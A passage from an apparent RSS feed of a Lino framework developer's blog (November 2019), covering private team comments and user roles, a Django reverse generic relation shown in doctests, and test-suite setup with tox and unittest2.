&lt;p&gt;Team comments are private by default: they are not seen by anonymous users. But
they should be seen by contributors who are member of the team.&lt;/p&gt;
&lt;p&gt;I renamed  &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.get_queryset()&lt;/span&gt;&lt;/code&gt; to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.get_user_queryset()&lt;/span&gt;&lt;/code&gt; to differentiate it more clearly
from &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.dbtables.Table.get_queryset()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is important to protect comments that are marked as private from being seen
by unauthorized people.
Comment.get_user_queryset returns an empty queryset if the user is not
a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.roles.CommentsReader&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Commentable&lt;/span&gt;&lt;/code&gt; mixin no longer defines a database field
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;private&lt;/span&gt;&lt;/code&gt;.  For example in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; the Client model is
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Commentable&lt;/span&gt;&lt;/code&gt;, and until now every client had a field private, but this
field was neither visible nor used. Also &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;groups.Group&lt;/span&gt;&lt;/code&gt; no longer has
this field.  Team comments are always private by default.&lt;/p&gt;
&lt;p&gt;I pushed my work to master because it seems basically okay now. Though some
tests are still failing. The RecentComments table is still empty for anonymous
users, but we &lt;em&gt;do&lt;/em&gt; want our comments on public tickets to be public, don’t we?&lt;/p&gt;
&lt;p&gt;I got the answers to these questions when explaining the problem to Hamza.  You
can actually &lt;a class="reference external" href="https://youtu.be/AOtoq6KUr-8"&gt;watch this on youtube&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basically the AnonymousUser in Noi was not yet inheriting from CommentsReader.&lt;/p&gt;
&lt;p&gt;I also added test cases to avanti where we definitively do not want any comments
to be seen to anonymous: &lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/comments.html#avanti-specs-comments" title="(in Lino Developer Guide)"&gt;&lt;span&gt;comments (comments in Avanti)&lt;/span&gt;&lt;/a&gt;. This document is similar
to &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/comments.html#noi-specs-comments" title="(in Lino Developer Guide)"&gt;&lt;span&gt;comments in Noi&lt;/span&gt;&lt;/a&gt;, and we should have a similar page for &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="problem-after-upgrading-to-openpyxl-3"&gt;
&lt;h2&gt;Problem after upgrading to openpyxl 3&lt;a class="headerlink" href="#problem-after-upgrading-to-openpyxl-3" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;TypeError: got invalid input value of type &amp;lt;class ‘xml.etree.ElementTree.Element’&amp;gt;, expected string or Element&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1127.html</guid><pubDate>Wed, 27 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, November 26, 2019</title><link>https://luc.lino-framework.org/blog/2019/1126.html</link><description>&lt;section id="tuesday-november-26-2019"&gt;
&lt;h1&gt;Tuesday, November 26, 2019&lt;a class="headerlink" href="#tuesday-november-26-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;On the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;tickets.Ticket&lt;/span&gt;&lt;/code&gt; class we now have the following:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GenericRelation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;comments.Comment&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;content_type_field&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;owner_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;object_id_field&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;owner_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;related_query_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ticket&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I thought it is a pity that we had no ticket with more than one comment in our
demo data.  So I changed that in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.team.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;On every ticket we now have an attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments&lt;/span&gt;&lt;/code&gt; which is an object
manager that returns all the comments pointing to this ticket, i.e. that have
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment.owner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment.owner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; set to this ticket.  Similar to the
related_name of a ForeignKey, but for a GenericForeignKey.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="go"&gt;[Comment #85 (&amp;#39;Comment #85&amp;#39;), Comment #86 (&amp;#39;Comment #86&amp;#39;), Comment #87 (&amp;#39;Comment #87&amp;#39;), Comment #88 (&amp;#39;Comment #88&amp;#39;), Comment #89 (&amp;#39;Comment #89&amp;#39;), Comment #90 (&amp;#39;Comment #90&amp;#39;), Comment #91 (&amp;#39;Comment #91&amp;#39;), Comment #92 (&amp;#39;Comment #92&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And because we specified the &lt;cite&gt;related_query_name&lt;/cite&gt; &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;quot;ticket&amp;quot;&lt;/span&gt;&lt;/code&gt;, we &lt;em&gt;also&lt;/em&gt; have a
virtual field named &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ticket&lt;/span&gt;&lt;/code&gt; on each comment which contains almost the
same as the GFK &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;owner&lt;/span&gt;&lt;/code&gt;, but only if that owner is a ticket.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;
&lt;span class="go"&gt;Ticket #1 (&amp;#39;#1 (⚹ Föö fails to bar when baz)&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ticket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="go"&gt;Ticket #1 (&amp;#39;#1 (⚹ Föö fails to bar when baz)&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;cite&gt;ticket&lt;/cite&gt; field is implemented as an object manager, that’s why we must call
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;first()&lt;/span&gt;&lt;/code&gt; to get the actual ticket.  Don’t ask me why.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ticket&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;django.db.models.fields.related_descriptors.create_reverse_many_to_one_manager.&amp;lt;locals&amp;gt;.RelatedManager object at ...&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We can ask them all, but there will always be either one or no ticket.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ticket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="go"&gt;[Ticket #1 (&amp;#39;#1 (⚹ Föö fails to bar when baz)&amp;#39;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That worked fine already yesterday.  The problem I stumbled into today was that
Lino did not yet support remote fields on the reverse generic relation. For
example to show, in a table of comments, the site of the ticket of a comment.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;robin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="n"&gt;column_names&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id owner owner_type ticket__site&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;==== =============================================== ====================== ========&lt;/span&gt;
&lt;span class="go"&gt; ID   Controlled by                                   Controlled by (type)   Site&lt;/span&gt;
&lt;span class="go"&gt;---- ----------------------------------------------- ---------------------- --------&lt;/span&gt;
&lt;span class="go"&gt; 83   `Developers &amp;lt;Detail&amp;gt;`__                         Team&lt;/span&gt;
&lt;span class="go"&gt; 84   `Managers &amp;lt;Detail&amp;gt;`__                           Team&lt;/span&gt;
&lt;span class="go"&gt; 85   `#1 (⚹ Föö fails to bar when baz) &amp;lt;Detail&amp;gt;`__   Ticket                 welket&lt;/span&gt;
&lt;span class="go"&gt; 86   `#1 (⚹ Föö fails to bar when baz) &amp;lt;Detail&amp;gt;`__   Ticket                 welket&lt;/span&gt;
&lt;span class="go"&gt; 87   `#1 (⚹ Föö fails to bar when baz) &amp;lt;Detail&amp;gt;`__   Ticket                 welket&lt;/span&gt;
&lt;span class="go"&gt; 88   `#1 (⚹ Föö fails to bar when baz) &amp;lt;Detail&amp;gt;`__   Ticket                 welket&lt;/span&gt;
&lt;span class="go"&gt;==== =============================================== ====================== ========&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;flt1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;flt2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flt1&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;flt2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1126.html</guid><pubDate>Tue, 26 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Monday, November 25, 2019</title><link>https://luc.lino-framework.org/blog/2019/1125.html</link><description>&lt;section id="monday-november-25-2019"&gt;
&lt;h1&gt;Monday, November 25, 2019&lt;a class="headerlink" href="#monday-november-25-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I adapted the book test suite after changes in &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3313"&gt;#3313&lt;/a&gt;.  This
caused some more API optimizations:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New database field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Site.private&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lino.core.auth.utils.AnonymousUser.is_anonymous&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New method &lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Commentable.add_comments_filter" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Commentable.add_comments_filter()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s the first time I use a &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/contrib/contenttypes/#reverse-generic-relations"&gt;Reverse Generic Relation&lt;/a&gt;.
We need it for specifying the filter condition
in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Ticket.add_comments_filter()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I recorded most of my work today in seven screen casts  “Watch Luc adapting the
doctests in book after changes for #3313” which  I published on youtube in a new
playlist named  &lt;a class="reference external" href="https://www.youtube.com/playlist?list=PL5qugrzfIhI9G53OMI2Zb8Ao2wNCiPeXX"&gt;Lino developer sessions&lt;/a&gt;.
Updated the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/screencasts.html#dev-screencasts" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Screen casts&lt;/span&gt;&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;En passant (and without a screen cast) I also fixed a bug in atelier: You may
invoke &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from any subdir of the project.  But after the changes
for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3340"&gt;#3340&lt;/a&gt;  (use &lt;cite&gt;unittest2&lt;/cite&gt; instead of &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;python&lt;/span&gt; &lt;span class="pre"&gt;setup.py&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;)
this was failing.  Now &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.invlib.tasks.html#module-atelier.invlib.tasks" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.invlib.tasks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  changes the current working
directory to the project’s &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;root_dir&lt;/span&gt;&lt;/code&gt; before launching
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-test_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1125.html</guid><pubDate>Mon, 25 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Friday, November 22, 2019</title><link>https://luc.lino-framework.org/blog/2019/1122.html</link><description>&lt;section id="friday-november-22-2019"&gt;
&lt;h1&gt;Friday, November 22, 2019&lt;a class="headerlink" href="#friday-november-22-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="which-or-that"&gt;
&lt;h2&gt;Which or That?&lt;a class="headerlink" href="#which-or-that" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Congratulations to  &lt;a class="reference external" href="https://getitwriteonline.com/articles/which-vs-that/"&gt;this nice article&lt;/a&gt; about the difference
between “which” and “that”.  It confirms my feeling that many people (including
myself) tend to use “which” in places where we actually should say “that”.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="playing-with-tox"&gt;
&lt;h2&gt;Playing with Tox&lt;a class="headerlink" href="#playing-with-tox" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Okay tox insists on creating its own separate environment for running tests.
That’s why the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; somehow resembles the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When I run the book test suite on my machine, I don’t want it to clone the lino
repository.  Which means that I cannot do the following in the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="n"&gt;requirements&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;span class="n"&gt;inv&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;skipsdist means: “Flag indicating to perform the packaging operation or not. Set
it to true when using tox for an application, instead of a library.”&lt;/p&gt;
&lt;p&gt;So skipsdist must be true, which means that I must install&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;pip install -U pip
pip install -e {toxinidir}&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Note that for me it wasn’t enought to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install python3-dev
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install python3.7-dev
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Seems that the default python is 3.6 on my machine but we support only 3.7&lt;/p&gt;
&lt;p&gt;Together with Hamza I reviewed the requirements files for book : we no longer
need Python 2 support, renamed LINO_VERSION to REQ_VERSION, and introduced a new
REQ_VERSION “local”.&lt;/p&gt;
&lt;p&gt;When I got this working, I realized that pytest does not discover the doctests
(&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3353"&gt;#3353&lt;/a&gt;).
It is because the doctests use the unittest load_tests feature.
I read their tickets &lt;a class="reference external" href="https://github.com/grpc/grpc/pull/3548"&gt;3548&lt;/a&gt; and &lt;a class="reference external" href="https://github.com/pytest-dev/pytest/issues/992"&gt;992&lt;/a&gt;. So indeed they discussed
about this topic some years ago and could not imagine that I would write
&lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.test.html#atelier.test.make_docs_suite" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.test.make_docs_suite()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and that we rely heavily on it.&lt;/p&gt;
&lt;p&gt;So I tried unittest2 instead, and this discovered the doctests out of the box.&lt;/p&gt;
&lt;p&gt;I checked in, but there are still many failures cause by some missing
dependency.  I have no local work now and will go offline for some time now.
But I will continue on it later.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="we-don-t-want-tox"&gt;
&lt;h2&gt;We don’t want Tox&lt;a class="headerlink" href="#we-don-t-want-tox" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now that I got tox running, I realized that we don’t want tox! At least not on a
contributor machine. A contributor does not want to test in a separate
environment. A contributor has his default environment that he keeps up-to-date,
